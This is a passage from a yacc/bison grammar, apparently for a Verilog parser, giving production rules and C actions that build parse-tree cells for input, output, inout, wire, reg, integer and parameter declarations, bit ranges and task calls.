$$ = $1; SetNext($$,NULLCELL);
}
| variable_data_types
{
$$ = $1; SetNext($$,NULLCELL);
}
| parameter_data_types
{
$$ = $1; SetNext($$,NULLCELL);
}
;
compact_data_type_declarations
: compact_port_declarations
{
$$ = $1; SetNext($$,NULLCELL);
}
| compact_parameter_data_types
{
$$ = $1; SetNext($$,NULLCELL);
}
;
port_declarations
: T_INPUT port_names T_SEMICOLON
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_INPUT range port_names T_SEMICOLON
{ /* T_INPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INPUT port_names range T_SEMICOLON
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INPUT range port_names range T_SEMICOLON
{ /* T_INPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_INTEGER port_names T_SEMICOLON
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INPUT T_INTEGER range port_names T_SEMICOLON
{ /* T_INPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_INTEGER port_names range T_SEMICOLON
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_INTEGER range port_names range T_SEMICOLON
{ /* T_INPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_INPUT T_WIRE port_names T_SEMICOLON
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INPUT T_WIRE range port_names T_SEMICOLON
{ /* T_INPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_WIRE port_names range T_SEMICOLON
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_WIRE range port_names range T_SEMICOLON
{ /* T_INPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_OUTPUT port_names T_SEMICOLON
{ /* T_OUTPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_OUTPUT range port_names T_SEMICOLON
{ /* T_OUTPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_OUTPUT port_names range T_SEMICOLON
{ /* T_OUTPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_OUTPUT range port_names range T_SEMICOLON
{ /* T_OUTPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_WIRE port_names T_SEMICOLON
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_OUTPUT T_WIRE range port_names T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_WIRE port_names range T_SEMICOLON
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_WIRE range port_names range T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_OUTPUT T_REG port_names T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_OUTPUT T_REG range port_names T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_REG port_names range T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_REG range port_names range T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_INOUT port_names T_SEMICOLON
{ /* T_INOUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_INOUT range port_names T_SEMICOLON
{ /* T_INOUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INOUT port_names range T_SEMICOLON
{ /* T_INOUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INOUT range port_names range T_SEMICOLON
{ /* T_INOUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
;
compact_port_declarations
: T_INPUT port_names
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INPUT range port_names
{ /* T_INPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INPUT port_names range T_COMMA
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INPUT range port_names range T_COMMA
{ /* T_INPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_INTEGER port_names
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INPUT T_INTEGER range port_names
{ /* T_INPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INPUT T_INTEGER port_names range T_COMMA
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_INTEGER range port_names range T_COMMA
{ /* T_INPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_INPUT T_WIRE port_names
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INPUT T_WIRE range port_names
{ /* T_INPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INPUT T_WIRE port_names range T_COMMA
{ /* T_INPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INPUT T_WIRE range port_names range T_COMMA
{ /* T_INPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_OUTPUT port_names
{ /* T_OUTPUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_OUTPUT range port_names
{ /* T_OUTPUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_OUTPUT port_names range T_COMMA
{ /* T_OUTPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_OUTPUT port_names range
{ /* T_OUTPUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
}
| T_OUTPUT range port_names range T_COMMA
{ /* T_OUTPUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_WIRE port_names
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_OUTPUT T_WIRE range port_names
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_OUTPUT T_WIRE port_names range T_COMMA
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_WIRE range port_names range T_COMMA
{ /* T_WIRE info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_OUTPUT T_REG port_names
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_OUTPUT T_REG range port_names
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_OUTPUT T_REG port_names range T_COMMA
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_OUTPUT T_REG range port_names range T_COMMA
{ /* T_REG info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_INOUT port_names
{ /* T_INOUT info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INOUT range port_names
{ /* T_INOUT info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
}
| T_INOUT port_names range T_COMMA
{ /* T_INOUT info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INOUT range port_names range T_COMMA
{ /* T_INOUT info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
;
net_data_types
: T_WIRE port_names T_SEMICOLON
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_WIRE range port_names T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_WIRE port_names range T_SEMICOLON
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_WIRE range port_names range T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_WIRE port_names T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($5));
ChkEvalOutput($4, SigListTop);
FreeTcell($3); FreeTcell($5);
}
| T_WIRE range port_names T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_WIRE port_names range T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range(N_NULL), info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_WIRE range port_names range T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,$6);
SetLine($$,CellLine($7));
ChkEvalOutput($6, SigListTop);
FreeTcell($5); FreeTcell($7);
}
| T_WIRE T_SIGNED port_names T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_WIRE T_SIGNED range port_names T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL); SetInfo3($$,$6);
SetLine($$,CellLine($7));
ChkEvalOutput($6, SigListTop);
FreeTcell($5); FreeTcell($7);
}
| T_WIRE T_SIGNED port_names range T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,$6);
SetLine($$,CellLine($7));
ChkEvalOutput($6, SigListTop);
FreeTcell($5); FreeTcell($7);
}
| T_WIRE T_SIGNED range port_names range T_EQ expression_list T_SEMICOLON
{ /* T_WIRE info0=range, info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5); SetInfo3($$,$7);
SetLine($$,CellLine($8));
ChkEvalOutput($7, SigListTop);
FreeTcell($6); FreeTcell($8);
}
;
variable_data_types
: T_REG port_names T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_REG range port_names T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_REG port_names range T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_REG range port_names range T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_REG port_names T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($5));
ChkEvalOutput($4, SigListTop);
FreeTcell($3); FreeTcell($5);
}
| T_REG range port_names T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_REG port_names range T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_REG range port_names range T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONCURRENCE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,$6);
SetLine($$,CellLine($7));
ChkEvalOutput($6, SigListTop);
FreeTcell($5); FreeTcell($7);
}
| T_REG T_SIGNED port_names T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_REG T_SIGNED range port_names T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_REG T_SIGNED port_names range T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_REG T_SIGNED range port_names range T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_REG range port_names range T_COMMA port_names T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,$6);
SetLine($$,CellLine($1));
FreeTcell($7);
}
| T_INTEGER port_names T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_INTEGER port_names T_EQ expression T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INTEGER range port_names T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INTEGER range port_names T_EQ expression T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_INTEGER port_names range T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INTEGER port_names range T_EQ expression T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,$5);
SetLine($$,CellLine($1));
FreeTcell($6);
}
| T_INTEGER range port_names range T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INTEGER range port_names range T_EQ expression T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,$6);
SetLine($$,CellLine($1));
FreeTcell($7);
}
;
parameter_data_types
: T_PARAMETER parameter_assign_list T_SEMICOLON
{ /* T_PARAMETER info0=range(N_NULL), info1=parameter */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_PARAMETER range parameter_assign_list T_SEMICOLON
{ /* T_PARAMETER info0=range, info1=parameter */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
}
;
compact_parameter_data_types
: T_PARAMETER parameter_assign_list
{ /* T_PARAMETER info0=range(N_NULL), info1=parameter */
$$ = $1; SetInfo0($$,NULLCELL); SetInfo1($$,$2);
SetLine($$,CellLine($1));
}
| T_PARAMETER range parameter_assign_list
{ /* T_PARAMETER info0=range, info1=parameter */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3);
SetLine($$,CellLine($1));
}
;
parameter_assign_list
: signal_name_list T_EQ expression T_COMMA parameter_assign_list
{ /* N_ASSIGN_PARAMETER, info0=name, info1=expression */
$$ = MallocTcell(N_ASSIGN_PARAMETER,(char *)NULL,CellLine($5)); SetInfo0($$,$1); SetInfo1($$,$3); SetNext($$,$5);
FreeTcell($2); FreeTcell($4);
}
| signal_name_list T_EQ expression T_COMMA
{ /* N_ASSIGN_PARAMETER, info0=name, info1=expression */
$$ = MallocTcell(N_ASSIGN_PARAMETER,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3); SetNext($$,NULLCELL);
FreeTcell($2); FreeTcell($4);
}
| signal_name_list T_EQ expression
{ /* N_ASSIGN_PARAMETER, info0=name, info1=expression */
$$ = MallocTcell(N_ASSIGN_PARAMETER,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3); SetNext($$,NULLCELL);
FreeTcell($2);
}
;
range
: T_LBRAKET expression T_COLON expression T_RBRAKET
{ /* N_RANGE info0=from, info1=to */
$$ = $1; SetType($$,N_RANGE); SetInfo0($$,$2); SetInfo1($$,$4);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5);
}
| T_LBRAKET expression T_COLON expression T_RBRAKET T_LBRAKET expression T_COLON expression T_RBRAKET
{ /* N_RANGE info0=from, info1=to, info2=from, info3=to */
$$ = $1; SetType($$,N_RANGE); SetInfo0($$,$2); SetInfo1($$,$4); SetInfo0($$,$7); SetInfo1($$,$9);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5); FreeTcell($6); FreeTcell($8); FreeTcell($10);
}
| T_LBRAKET expression T_COLON expression T_RBRAKET T_LBRAKET expression T_COLON expression T_RBRAKET T_LBRAKET expression T_COLON expression T_RBRAKET
{ /* N_RANGE info0=from, info1=to, info2=from, info3=to */
$$ = $1; SetType($$,N_RANGE); SetInfo0($$,$2); SetInfo1($$,$4); SetInfo0($$,$7); SetInfo1($$,$9); SetInfo1($$,$12); SetInfo1($$,$14);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5); FreeTcell($6); FreeTcell($8); FreeTcell($10); FreeTcell($11); FreeTcell($13); FreeTcell($15);
}
| T_LBRAKET expression T_RBRAKET
{ /* N_RANGE info0=from, info1=to(N_NULL) */
$$ = $1; SetType($$,N_RANGE); SetInfo0($$,$2); SetInfo1($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
;
call_delay_function_or_task
: T_GENERIC number literal
{ /* N_DELAY_TASKCALL info0=expression, info1=function_or_task */
$$ = $1; SetType($$,N_DELAY_TASKCALL); SetInfo0($$,$2); SetInfo1($$,$3);
}
;
call_function_or_task
: signal_name_list T_LPARENTESIS expression_list T_RPARENTESIS
{
$$ = $1; SetInfo0($$,$3);
SetLine($$,CellLine($4));
FreeTcell($2); FreeTcell($4);
}
| signal_name_list T_LPARENTESIS T_RPARENTESIS
{
$$ = $1; SetInfo0($$,NULLCELL);
SetLine($$,CellLine($3));
FreeTcell($2); FreeTcell($3);
}
;
module_instances
